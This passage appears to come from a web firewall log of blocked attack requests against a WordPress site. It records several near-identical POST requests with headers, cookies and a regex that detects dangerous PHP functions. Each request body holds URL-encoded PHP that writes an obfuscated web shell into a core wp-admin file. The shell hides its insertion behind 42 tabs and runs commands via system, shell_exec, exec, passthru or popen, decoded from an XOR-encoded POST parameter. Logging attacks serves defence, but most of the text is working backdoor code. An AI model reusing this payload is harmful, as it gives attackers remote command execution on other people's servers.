528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524token%252C%2520%2524resource_comp%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524resource_comp%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524pset_fac%2520%253D%2520%2524initialized5%2528%2524token%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_fac%2529%2520%257B%2520%2524hld_ent%2520%253D%2520%2524initialized6%2528%2524pset_fac%2529%253B%2520%2524initialized7%2528%2524pset_fac%2529%253B%2520print%2520%2524hld_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEILvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:5226\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\n\nEV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-bulk-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68ell%255Cx5Fexe%255Cx63%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524initialized3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524initialized1%2520%253D%2520%2522%255Cx73y%255Cx73%255Cx74em%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63%255Cx6F%255Cx6Etents%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70as%255Cx73th%255Cx72u%2522%253B%2520%2524initialized5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%2520%257B%2520function%2520event_handler%2520%2528%2520%2524comp%2520%252C%2520%2524pset%2520%2529%257B%2520%2524fac%253D%2527%2527%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524comp%2529%253B%2520%2524e%252B%252B%2529%257B%2524fac.%253Dchr%2528ord%2528%2524comp%255B%2524e%255D%2529%255E%2524pset%2529%253B%257D%2520return%2520%2524fac%253B%2520%257D%2520%2524token%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524token%2520%253D%2520event_handler%2528%2524token%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524token%252C%2520%2524resource_comp%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524resource_comp%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524pset_fac%2520%253D%2520%2524initialized5%2528%2524token%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_fac%2529%2520%257B%2520%2524hld_ent%2520%253D%2520%2524initialized6%2528%2524pset_fac%2529%253B%2520%2524initialized7%2528%2524pset_fac%2529%253B%2520print%2520%2524hld_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:08","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-bulk-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68ell%255Cx5Fexe%255Cx63%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524initialized3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524initialized1%2520%253D%2520%2522%255Cx73y%255Cx73%255Cx74em%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63%255Cx6F%255Cx6Etents%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70as%255Cx73th%255Cx72u%2522%253B%2520%2524initialized5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%2520%257B%2520function%2520event_handler%2520%2528%2520%2524comp%2520%252C%2520%2524pset%2520%2529%257B%2520%2524fac%253D%2527%2527%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524comp%2529%253B%2520%2524e%252B%252B%2529%257B%2524fac.%253Dchr%2528ord%2528%2524comp%255B%2524e%255D%2529%255E%2524pset%2529%253B%257D%2520return%2520%2524fac%253B%2520%257D%2520%2524token%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524token%2520%253D%2520event_handler%2528%2524token%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524token%252C%2520%2524resource_comp%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524resource_comp%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524pset_fac%2520%253D%2520%2524initialized5%2528%2524token%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_fac%2529%2520%257B%2520%2524hld_ent%2520%253D%2520%2524initialized6%2528%2524pset_fac%2529%253B%2520%2524initialized7%2528%2524pset_fac%2529%253B%2520print%2520%2524hld_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:5226\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF00vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nKM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-bulk-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68ell%255Cx5Fexe%255Cx63%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524initialized3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524initialized1%2520%253D%2520%2522%255Cx73y%255Cx73%255Cx74em%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63%255Cx6F%255Cx6Etents%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70as%255Cx73th%255Cx72u%2522%253B%2520%2524initialized5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%2520%257B%2520function%2520event_handler%2520%2528%2520%2524comp%2520%252C%2520%2524pset%2520%2529%257B%2520%2524fac%253D%2527%2527%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524comp%2529%253B%2520%2524e%252B%252B%2529%257B%2524fac.%253Dchr%2528ord%2528%2524comp%255B%2524e%255D%2529%255E%2524pset%2529%253B%257D%2520return%2520%2524fac%253B%2520%257D%2520%2524token%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524token%2520%253D%2520event_handler%2528%2524token%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524token%252C%2520%2524resource_comp%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524resource_comp%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524pset_fac%2520%253D%2520%2524initialized5%2528%2524token%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_fac%2529%2520%257B%2520%2524hld_ent%2520%253D%2520%2524initialized6%2528%2524pset_fac%2529%253B%2520%2524initialized7%2528%2524pset_fac%2529%253B%2520print%2520%2524hld_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:10","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Hm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-bulk-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68ell%255Cx5Fexe%255Cx63%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524initialized3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524initialized1%2520%253D%2520%2522%255Cx73y%255Cx73%255Cx74em%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63%255Cx6F%255Cx6Etents%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70as%255Cx73th%255Cx72u%2522%253B%2520%2524initialized5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%2520%257B%2520function%2520event_handler%2520%2528%2520%2524comp%2520%252C%2520%2524pset%2520%2529%257B%2520%2524fac%253D%2527%2527%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524comp%2529%253B%2520%2524e%252B%252B%2529%257B%2524fac.%253Dchr%2528ord%2528%2524comp%255B%2524e%255D%2529%255E%2524pset%2529%253B%257D%2520return%2520%2524fac%253B%2520%257D%2520%2524token%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524token%2520%253D%2520event_handler%2528%2524token%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524token%252C%2520%2524resource_comp%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524resource_comp%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524pset_fac%2520%253D%2520%2524initialized5%2528%2524token%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_fac%2529%2520%257B%2520%2524hld_ent%2520%253D%2520%2524initialized6%2528%2524pset_fac%2529%253B%2520%2524initialized7%2528%2524pset_fac%2529%253B%2520print%2520%2524hld_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:5226\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFT0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nHm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-bulk-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68ell%255Cx5Fexe%255Cx63%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524initialized3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524initialized1%2520%253D%2520%2522%255Cx73y%255Cx73%255Cx74em%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63%255Cx6F%255Cx6Etents%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70as%255Cx73th%255Cx72u%2522%253B%2520%2524initialized5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%2520%257B%2520function%2520event_handler%2520%2528%2520%2524comp%2520%252C%2520%2524pset%2520%2529%257B%2520%2524fac%253D%2527%2527%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524comp%2529%253B%2520%2524e%252B%252B%2529%257B%2524fac.%253Dchr%2528ord%2528%2524comp%255B%2524e%255D%2529%255E%2524pset%2529%253B%257D%2520return%2520%2524fac%253B%2520%257D%2520%2524token%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524token%2520%253D%2520event_handler%2528%2524token%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524token%252C%2520%2524resource_comp%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524resource_comp%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524pset_fac%2520%253D%2520%2524initialized5%2528%2524token%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_fac%2529%2520%257B%2520%2524hld_ent%2520%253D%2520%2524initialized6%2528%2524pset_fac%2529%253B%2520%2524initialized7%2528%2524pset_fac%2529%253B%2520print%2520%2524hld_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr